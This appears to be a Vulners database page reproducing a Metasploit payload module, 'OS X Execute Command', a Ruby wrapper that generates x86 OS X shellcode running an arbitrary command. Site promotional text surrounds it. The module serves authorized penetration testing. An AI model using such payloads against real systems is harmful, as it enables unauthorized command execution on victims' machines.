Lucene search
K

OS X Execute Command

🗓️ 09 Feb 2008 07:58:38Reported by snagg <[email protected]>, argp <[email protected]>, joev <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 29 Views

OS X Execute Command module for executing arbitrary commands

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

###
#
# Exec
# ----
#
# Executes an arbitrary command.
#
###
module MetasploitModule

  CachedSize = 24

  include Msf::Payload::Single
  include Msf::Payload::Bsd::X86
  include Msf::Payload::Osx

  def initialize(info = {})
    super(merge_info(info,
      'Name'        => 'OS X Execute Command',
      'Description' => 'Execute an arbitrary command',
      'Author'      => [
        'snagg <snagg[at]openssl.it>',
        'argp <argp[at]census-labs.com>',
        'joev'
      ],
      'License'     => BSD_LICENSE,
      'Platform'    => 'osx',
      'Arch'        => ARCH_X86
    ))

    register_options([
      OptString.new('CMD',  [ true,  "The command string to execute" ]),
    ])
  end

  #
  # Dynamically builds the exec payload based on the user's options.
  #
  def generate(opts={})
    bsd_x86_exec_payload
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Sep 2022 16:55Current
1.2Low risk
Vulners AI Score1.2
29